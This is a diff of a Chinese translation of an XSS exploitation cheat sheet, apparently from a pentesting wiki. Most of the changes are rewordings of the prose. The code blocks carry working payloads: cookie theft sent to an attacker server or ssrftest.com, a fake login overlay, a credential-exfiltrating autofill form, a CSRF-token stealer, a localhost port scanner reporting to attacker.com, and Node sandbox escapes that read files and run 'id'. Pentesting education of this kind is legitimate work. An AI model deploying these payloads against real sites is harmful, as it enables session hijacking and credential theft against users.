-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||||
```
|
```
|
||||||
**JavaScript 新行(来自** [**JavaScript 新行**](./#javascript-new-lines) **技巧)**
|
**JavaScript换行(来自** [**JavaScript换行**](./#javascript-new-lines) **技巧)**
|
||||||
```javascript
|
```javascript
|
||||||
//Javascript interpret as new line these chars:
|
//Javascript interpret as new line these chars:
|
||||||
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
||||||
|
@ -562,7 +567,7 @@ String.fromCharCode(13); alert('//\ralert(1)') //0x0d
|
||||||
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
|
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
|
||||||
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
|
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
|
||||||
```
|
```
|
||||||
**JavaScript 空白字符**
|
**JavaScript空格**
|
||||||
```javascript
|
```javascript
|
||||||
log=[];
|
log=[];
|
||||||
function funct(){}
|
function funct(){}
|
||||||
|
@ -579,14 +584,16 @@ console.log(log)
|
||||||
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
|
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
|
||||||
<img/src/onerror=alert(1)>
|
<img/src/onerror=alert(1)>
|
||||||
```
|
```
|
||||||
**评论中的Javascript**
|
**注释中的Javascript**
|
||||||
|
|
||||||
|
JavaScript可以通过在HTML注释中插入恶意代码来执行跨站脚本攻击。
|
||||||
```javascript
|
```javascript
|
||||||
//If you can only inject inside a JS comment, you can still leak something
|
//If you can only inject inside a JS comment, you can still leak something
|
||||||
//If the user opens DevTools request to the indicated sourceMappingURL will be send
|
//If the user opens DevTools request to the indicated sourceMappingURL will be send
|
||||||
|
|
||||||
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
|
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
|
||||||
```
|
```
|
||||||
**不带括号的JavaScript**
|
**没有括号的JavaScript**
|
||||||
````javascript
|
````javascript
|
||||||
// By setting location
|
// By setting location
|
||||||
window.location='javascript:alert\x281\x29'
|
window.location='javascript:alert\x281\x29'
|
||||||
|
@ -664,7 +671,7 @@ try{throw onerror=alert}catch{throw 1}
|
||||||
* [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
* [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||||||
* [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
* [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||||||
|
|
||||||
**任意函数(alert)调用**
|
**调用任意函数(alert)**
|
||||||
````javascript
|
````javascript
|
||||||
//Eval like functions
|
//Eval like functions
|
||||||
eval('ale'+'rt(1)')
|
eval('ale'+'rt(1)')
|
||||||
|
@ -726,42 +733,42 @@ top[8680439..toString(30)](1)
|
||||||
````
|
````
|
||||||
## **DOM漏洞**
|
## **DOM漏洞**
|
||||||
|
|
||||||
存在使用**攻击者控制的不安全数据**的**JS代码**,如 `location.href`。攻击者可以利用这一点执行任意JS代码。\
|
存在使用由攻击者控制的不安全数据的**JS代码**,如`location.href`。攻击者可以利用这一点执行任意JS代码。\
|
||||||
**由于对**[**DOM漏洞的解释很详细,因此已移至此页面**](dom-xss.md)**:**
|
**由于对**[**DOM漏洞的解释进行了扩展,已将其移至此页面**](dom-xss.md)**:**
|
||||||
|
|
||||||
{% content-ref url="dom-xss.md" %}
|
{% content-ref url="dom-xss.md" %}
|
||||||
[dom-xss.md](dom-xss.md)
|
[dom-xss.md](dom-xss.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
在那里,你将找到关于**DOM漏洞是什么,它们是如何被引发的,以及如何利用它们**的详细**解释**。\
|
在那里,您将找到关于DOM漏洞是什么,它们是如何引发的以及如何利用它们的详细解释。\
|
||||||
同时,不要忘记,在提到的文章**末尾**,你可以找到关于 [**DOM Clobbering 攻击**](dom-xss.md#dom-clobbering) 的解释。
|
此外,不要忘记**在上述帖子的末尾**找到关于[**DOM篡改攻击**](dom-xss.md#dom-clobbering)的解释。
|
||||||
|
|
||||||
## 其他绕过方法
|
## 其他绕过方式
|
||||||
|
|
||||||
### 标准化Unicode
|
### 规范化Unicode
|
||||||
|
|
||||||
你可以检查**反射值**是否在服务器端(或客户端)被**Unicode标准化**,并利用这一功能绕过保护。[**在这里找到一个例子**](../unicode-injection/#xss-cross-site-scripting)。
|
您可以检查**反射值**是否在服务器(或客户端)中**进行了Unicode规范化**,并利用此功能绕过保护措施。[**在此处找到一个示例**](../unicode-injection/#xss-cross-site-scripting)。
|
||||||
|
|
||||||
### PHP FILTER\_VALIDATE\_EMAIL 标志绕过
|
### PHP FILTER\_VALIDATE\_EMAIL标志绕过
|
||||||
```javascript
|
```javascript
|
||||||
"><svg/onload=confirm(1)>"@x.y
|
"><svg/onload=confirm(1)>"@x.y
|
||||||
```
|
```
|
||||||
### Ruby-On-Rails 绕过
|
### Ruby-On-Rails绕过
|
||||||
|
|
||||||
由于 **RoR 批量赋值**,引号被插入到HTML中,然后绕过引号限制,并且可以在标签内添加额外字段(onfocus)。\
|
由于**RoR大量分配**,引号被插入HTML,然后绕过引号限制,可以在标签内添加额外字段(onfocus)。\
|
||||||
例如表单([来自此报告](https://hackerone.com/reports/709336)),如果你发送以下payload:
|
表单示例([来自此报告](https://hackerone.com/reports/709336)),如果发送有效载荷:
|
||||||
```
|
```
|
||||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||||
```
|
```
|
||||||
键值对 "Key","Value" 将会像这样回显:
|
键值对 "Key","Value" 将会被回显如下:
|
||||||
```
|
```
|
||||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||||
```
|
```
|
||||||
然后,将插入 onfocus 属性:
|
然后,将插入onfocus属性:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (107).png>)
|
![](<../../.gitbook/assets/image (107).png>)
|
||||||
|
|
||||||
发生 XSS。
|
发生XSS攻击。
|
||||||
|
|
||||||
### 特殊组合
|
### 特殊组合
|
||||||
```markup
|
```markup
|
||||||
|
@ -793,24 +800,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||||||
document['default'+'View'][`\u0061lert`](3)
|
document['default'+'View'][`\u0061lert`](3)
|
||||||
```
|
```
|
||||||
### 在302响应中通过头注入实现XSS
|
### 在 302 响应中利用头部注入进行 XSS
|
||||||
|
|
||||||
如果你发现可以**在302重定向响应中注入头信息**,你可以尝试**让浏览器执行任意JavaScript代码**。这并**非易事**,因为现代浏览器如果HTTP响应状态码是302,通常不会解析HTTP响应体,所以仅仅一个跨站脚本载荷是无效的。
|
如果你发现可以在 302 重定向响应中**注入头部**,你可以尝试**让浏览器执行任意 JavaScript**。这并不容易,因为现代浏览器在 HTTP 响应状态码为 302 时不会解释 HTTP 响应主体,因此仅有跨站脚本负载是无用的。
|
||||||
|
|
||||||
在[**这篇报告**](https://www.gremwell.com/firefox-xss-302)和[**这篇报告**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中,你可以阅读如何测试Location头中的几种协议,看看是否有任何一种允许浏览器检查并执行正文中的XSS载荷。\
|
在[**这份报告**](https://www.gremwell.com/firefox-xss-302)和[**这篇文章**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)中,你可以了解如何测试 Location 头部中的多个协议,看看是否有任何协议允许浏览器检查并执行主体内的 XSS 负载。\
|
||||||
过去已知的协议包括:`mailto://`, `//x:1/`, `ws://`, `wss://`, _空Location头_,`resource://`。
|
过去已知的协议:`mailto://`、`//x:1/`、`ws://`、`wss://`、_空 Location 头部_、`resource://`。
|
||||||
|
|
||||||
### 仅限字母、数字和点
|
### 仅限字母、数字和点号
|
||||||
|
|
||||||
如果你能够指定javascript将要**执行**的**回调**,并且仅限于这些字符。[**阅读这篇文章的这一节**](./#javascript-function)来找出如何利用这种行为。
|
如果你能指示**回调**将要**执行**的 JavaScript 仅限于这些字符。[**阅读本文的这一部分**](./#javascript-function)以了解如何滥用这种行为。
|
||||||
|
|
||||||
### 有效的`<script>`内容类型实现XSS
|
### 有效的 `<script>` 内容类型用于 XSS
|
||||||
|
|
||||||
(来自[**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 如果你尝试加载一个内容类型为`application/octet-stream`的脚本,Chrome会抛出以下错误:
|
(来自[**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 如果尝试加载一个带有 `application/octet-stream` 等**内容类型**的脚本,Chrome 将抛出以下错误:
|
||||||
|
|
||||||
> 由于其MIME类型(‘application/octet-stream’)不可执行,并且启用了严格的MIME类型检查,拒绝执行来自‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx')的脚本。
|
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') 因为其 MIME 类型(‘application/octet-stream’)不可执行,并且启用了严格的 MIME 类型检查。
|
||||||
|
|
||||||
唯一支持Chrome运行**加载的脚本**的**Content-Type**是在[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)中的常量**`kSupportedJavascriptTypes`**里面的类型。
|
唯一支持 Chrome 运行**加载的脚本**的**内容类型**是位于[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc) 中的常量 **`kSupportedJavascriptTypes`**。
|
||||||
```c
|
```c
|
||||||
const char* const kSupportedJavascriptTypes[] = {
|
const char* const kSupportedJavascriptTypes[] = {
|
||||||
"application/ecmascript",
|
"application/ecmascript",
|
||||||
|
@ -832,16 +839,16 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||||
};
|
};
|
||||||
|
|
||||||
```
|
```
|
||||||
### XSS 中的脚本类型
|
### XSS中的脚本类型
|
||||||
|
|
||||||
(来自 [**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么,哪些类型可以用来指示加载脚本?
|
(来源[**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 那么,有哪些类型可以用来加载脚本呢?
|
||||||
```html
|
```html
|
||||||
<script type="???"></script>
|
<script type="???"></script>
|
||||||
```
|
```
|
||||||
答案是:
|
答案是:
|
||||||
|
|
||||||
* **module**(默认,无需解释)
|
* **module**(默认,无需解释)
|
||||||
* [**webbundle**](https://web.dev/web-bundles/):Web Bundles 是一个功能,您可以将一堆数据(HTML、CSS、JS…)打包到一个 **`.wbn`** 文件中。
|
* [**webbundle**](https://web.dev/web-bundles/):Web Bundles 是一项功能,您可以将大量数据(HTML、CSS、JS 等)打包到一个 **`.wbn`** 文件中。
|
||||||
```html
|
```html
|
||||||
<script type="webbundle">
|
<script type="webbundle">
|
||||||
{
|
{
|
||||||
|
@ -868,9 +875,9 @@ import moment from "moment";
|
||||||
import { partition } from "lodash";
|
import { partition } from "lodash";
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
此行为在[**此报告**](https://github.com/zwade/yaca/tree/master/solution)中被用来重新映射一个库到 eval 来滥用它,从而触发 XSS。
|
这种行为被用于[**这篇解决方案**](https://github.com/zwade/yaca/tree/master/solution)中,将一个库重新映射到`eval`,以滥用它来触发 XSS。
|
||||||
|
|
||||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 此功能主要是为了解决预渲染引起的一些问题。其工作原理如下:
|
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 这个特性主要是为了解决预渲染造成的一些问题。它的工作原理如下:
|
||||||
```html
|
```html
|
||||||
<script type="speculationrules">
|
<script type="speculationrules">
|
||||||
{
|
{
|
||||||
|
@ -888,22 +895,22 @@ import { partition } from "lodash";
|
||||||
```
|
```
|
||||||
### Web内容类型与XSS
|
### Web内容类型与XSS
|
||||||
|
|
||||||
(来源于[**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/))以下内容类型在所有浏览器中都能执行XSS:
|
(来源[**这里**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 以下内容类型可以在所有浏览器中执行XSS:
|
||||||
|
|
||||||
* text/html
|
* text/html
|
||||||
* application/xhtml+xml
|
* application/xhtml+xml
|
||||||
* application/xml
|
* application/xml
|
||||||
* text/xml
|
* text/xml
|
||||||
* image/svg+xml
|
* image/svg+xml
|
||||||
* text/plain (?? 不在列表中,但我认为我在CTF中见过)
|
* text/plain (?? 不在列表中,但我记得在一个CTF中看到过)
|
||||||
* application/rss+xml (关闭)
|
* application/rss+xml (关闭)
|
||||||
* application/atom+xml (关闭)
|
* application/atom+xml (关闭)
|
||||||
|
|
||||||
在其他浏览器中,其他**`Content-Types`**可以用来执行任意JS,查看:[https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
在其他浏览器中,其他**`Content-Types`**可用于执行任意JS,请查看:[https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||||
|
|
||||||
### xml内容类型
|
### xml内容类型
|
||||||
|
|
||||||
如果页面返回的是text/xml内容类型,可以指定一个命名空间并执行任意JS:
|
如果页面返回text/xml内容类型,则可以指定命名空间并执行任意JS:
|
||||||
```xml
|
```xml
|
||||||
<xml>
|
<xml>
|
||||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||||
|
@ -913,19 +920,19 @@ import { partition } from "lodash";
|
||||||
```
|
```
|
||||||
### 特殊替换模式
|
### 特殊替换模式
|
||||||
|
|
||||||
当使用类似 **`"some {{template}} data".replace("{{template}}", <user_input>)`** 的代码时,攻击者可以使用[**特殊字符串替换**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement)来尝试绕过一些保护措施:``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
当类似 **`"some {{template}} data".replace("{{template}}", <user_input>)`** 这样的代码被使用时,攻击者可以使用[**特殊字符串替换**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement)来尝试绕过某些保护措施:``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||||
|
|
||||||
例如在[**这篇文章**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)中,这种方法被用来**逃逸一个 JSON 字符串**在脚本中并执行任意代码。
|
例如,在[**这篇文章中**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA),这种方法被用来**转义脚本中的 JSON 字符串**并执行任意代码。
|
||||||
|
|
||||||
### Chrome 缓存到 XSS
|
### Chrome缓存到XSS
|
||||||
|
|
||||||
{% content-ref url="chrome-cache-to-xss.md" %}
|
{% content-ref url="chrome-cache-to-xss.md" %}
|
||||||
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
|
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### XS 监狱逃脱
|
### XS Jails逃逸
|
||||||
|
|
||||||
如果你只能使用有限的字符集,请检查这些其他有效的 XSJail 问题解决方案:
|
如果你只能使用有限的字符集,可以查看这些其他有效的解决方案来解决XSJail问题:
|
||||||
```javascript
|
```javascript
|
||||||
// eval + unescape + regex
|
// eval + unescape + regex
|
||||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||||
|
@ -956,30 +963,28 @@ constructor(source)()
|
||||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||||
```
|
```
|
||||||
如果在执行不可信代码之前**一切都是未定义的**(就像在[**这篇文章**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)中所描述的),那么有可能“凭空”生成有用的对象来滥用任意不可信代码的执行:
|
如果在执行不受信任的代码之前**一切都是未定义的**(就像在[**这篇文章**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)中所述),可以使用以下方法从"无中生有"生成有用的对象,以滥用执行任意不受信任代码的过程:
|
||||||
|
|
||||||
* 使用 import()
|
* 使用import()
|
||||||
```javascript
|
```javascript
|
||||||
// although import "fs" doesn’t work, import('fs') does.
|
// although import "fs" doesn’t work, import('fs') does.
|
||||||
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||||
```
|
```
|
||||||
* 间接访问 `require`
|
* 间接访问`require`
|
||||||
|
|
||||||
[根据这个信息](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050),Node.js会将模块包装在一个函数中,如下所示:
|
[根据这个](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 在Node.js中,模块被包装在一个函数内,就像这样:
|
||||||
```javascript
|
```javascript
|
||||||
(function (exports, require, module, __filename, __dirname) {
|
(function (exports, require, module, __filename, __dirname) {
|
||||||
// our actual module code
|
// our actual module code
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
因此,如果我们可以从该模块**调用另一个函数**,就可以在那个函数中使用 `arguments.callee.caller.arguments[1]` 来访问**`require`**:
|
因此,如果我们可以从该模块**调用另一个函数**,就可以在该函数中使用`arguments.callee.caller.arguments[1]`来访问**`require`**:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
|
||||||
```javascript
|
```javascript
|
||||||
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
|
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
与前面的例子类似,可以**使用错误处理程序**来访问模块的**包装器**并获取**`require`**函数:
|
类似于前面的示例,可以使用错误处理程序来访问模块的包装器并获取 `require` 函数:
|
||||||
```javascript
|
```javascript
|
||||||
try {
|
try {
|
||||||
null.f()
|
null.f()
|
||||||
|
@ -1016,9 +1021,9 @@ console.log(req('child_process').execSync('id').toString())
|
||||||
}
|
}
|
||||||
trigger()
|
trigger()
|
||||||
```
|
```
|
||||||
### 混淆与高级绕过
|
### 混淆和高级绕过
|
||||||
|
|
||||||
* **同一页面的不同混淆技术:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
* **同一页面中的不同混淆:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||||
|
@ -1051,15 +1056,15 @@ trigger()
|
||||||
```javascript
|
```javascript
|
||||||
// It's also possible to execute JS code only with the chars: []`+!${}
|
// It's also possible to execute JS code only with the chars: []`+!${}
|
||||||
```
|
```
|
||||||
## XSS 常见有效载荷
|
## XSS常见有效载荷
|
||||||
|
|
||||||
### 多个有效载荷合一
|
### 多个有效载荷合集
|
||||||
|
|
||||||
{% content-ref url="steal-info-js.md" %}
|
{% content-ref url="steal-info-js.md" %}
|
||||||
[steal-info-js.md](steal-info-js.md)
|
[steal-info-js.md](steal-info-js.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### 检索 Cookies
|
### 检索Cookies
|
||||||
```javascript
|
```javascript
|
||||||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||||||
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
|
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
|
||||||
|
@ -1082,7 +1087,7 @@ trigger()
|
||||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
如果 cookie 设置了 HTTPOnly 标志,您**将无法通过 JavaScript 访问 cookie**。但如果您足够幸运,这里有[一些绕过这种保护的方法](../hacking-with-cookies/#httponly)。
|
如果在 cookie 中设置了 HTTPOnly 标志,您将**无法从 JavaScript 中访问 cookie**。但是,如果您足够幸运,您可以通过[一些方法绕过此保护](../hacking-with-cookies/#httponly)。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### 窃取页面内容
|
### 窃取页面内容
|
||||||
|
@ -1148,7 +1153,7 @@ q.shift()();
|
||||||
```javascript
|
```javascript
|
||||||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
||||||
```
|
```
|
||||||
### 端口扫描器(websockets)
|
### 端口扫描器(WebSockets)
|
||||||
```python
|
```python
|
||||||
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
|
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
|
||||||
for(var i=0; i<ports.length; i++) {
|
for(var i=0; i<ports.length; i++) {
|
||||||
|
@ -1165,9 +1170,9 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||||
```
|
```
|
||||||
_短时间表示端口有响应_ _较长时间表示无响应。_
|
_短时间表示端口有响应_ _较长时间表示无响应。_
|
||||||
|
|
||||||
查看Chrome中禁止的端口列表[**这里**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc)以及Firefox中的列表[**这里**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)。
|
查看Chrome中禁止的端口列表[**在这里**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc),以及Firefox中的[**这里**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)。
|
||||||
|
|
||||||
### 请求凭证的对话框
|
### 用于请求凭据的框
|
||||||
```markup
|
```markup
|
||||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||||
```
|
```
|
||||||
|
@ -1182,18 +1187,18 @@ mode: 'no-cors',
|
||||||
body:username.value+':'+this.value
|
body:username.value+':'+this.value
|
||||||
});">
|
});">
|
||||||
```
|
```
|
||||||
当任何数据在密码字段中被输入时,用户名和密码会被发送到攻击者的服务器,即使客户端选择了保存的密码并且没有输入任何东西,凭证也会被窃取。
|
当任何数据被输入到密码字段时,用户名和密码将被发送到攻击者的服务器,即使客户端选择了保存的密码并且没有输入任何内容,凭据也会被外泄。
|
||||||
|
|
||||||
### 键盘记录器
|
### 键盘记录器
|
||||||
|
|
||||||
仅在github上搜索,我就找到了一些不同的:
|
仅在 GitHub 上搜索,我找到了几个不同的:
|
||||||
|
|
||||||
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||||
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||||
* [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
* [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||||
* 你也可以使用metasploit `http_javascript_keylogger`
|
* 您还可以使用 metasploit `http_javascript_keylogger`
|
||||||
|
|
||||||
### 窃取CSRF令牌
|
### 窃取 CSRF 令牌
|
||||||
```javascript
|
```javascript
|
||||||
<script>
|
<script>
|
||||||
var req = new XMLHttpRequest();
|
var req = new XMLHttpRequest();
|
||||||
|
@ -1232,7 +1237,7 @@ document.getElementById("message").src += "&"+e.data;
|
||||||
|
|
||||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||||||
|
|
||||||
### 盲 XSS 载荷
|
### 盲 XSS 负载
|
||||||
|
|
||||||
您也可以使用:[https://xsshunter.com/](https://xsshunter.com)
|
您也可以使用:[https://xsshunter.com/](https://xsshunter.com)
|
||||||
```markup
|
```markup
|
||||||
|
@ -1276,7 +1281,7 @@ document.getElementById("message").src += "&"+e.data;
|
||||||
```
|
```
|
||||||
### 正则表达式 - 访问隐藏内容
|
### 正则表达式 - 访问隐藏内容
|
||||||
|
|
||||||
从[**这篇文章**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)中可以了解到,即使某些值从JS中消失,仍然可以在不同对象的JS属性中找到它们。例如,即使正则表达式输入的值被移除后,仍然有可能找到正则表达式的输入:
|
从[**这篇文章**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)中可以了解到,即使某些值从JS中消失了,仍然可以在不同对象的JS属性中找到它们。例如,即使正则表达式输入的值被删除了,仍然可以在正则表达式的输入中找到它。
|
||||||
```javascript
|
```javascript
|
||||||
// Do regex with flag
|
// Do regex with flag
|
||||||
flag="CTF{FLAG}"
|
flag="CTF{FLAG}"
|
||||||
|
@ -1299,31 +1304,31 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
||||||
|
|
||||||
### Markdown中的XSS
|
### Markdown中的XSS
|
||||||
|
|
||||||
能注入将被渲染的Markdown代码吗?也许你可以实现XSS!检查:
|
可以注入Markdown代码以进行渲染吗?也许你可以获得XSS!检查:
|
||||||
|
|
||||||
{% content-ref url="xss-in-markdown.md" %}
|
{% content-ref url="xss-in-markdown.md" %}
|
||||||
[xss-in-markdown.md](xss-in-markdown.md)
|
[xss-in-markdown.md](xss-in-markdown.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### XSS升级为SSRF
|
### XSS到SSRF
|
||||||
|
|
||||||
在**使用缓存的网站**上获得了XSS?尝试通过Edge Side Include注入使用以下payload来**升级为SSRF**:
|
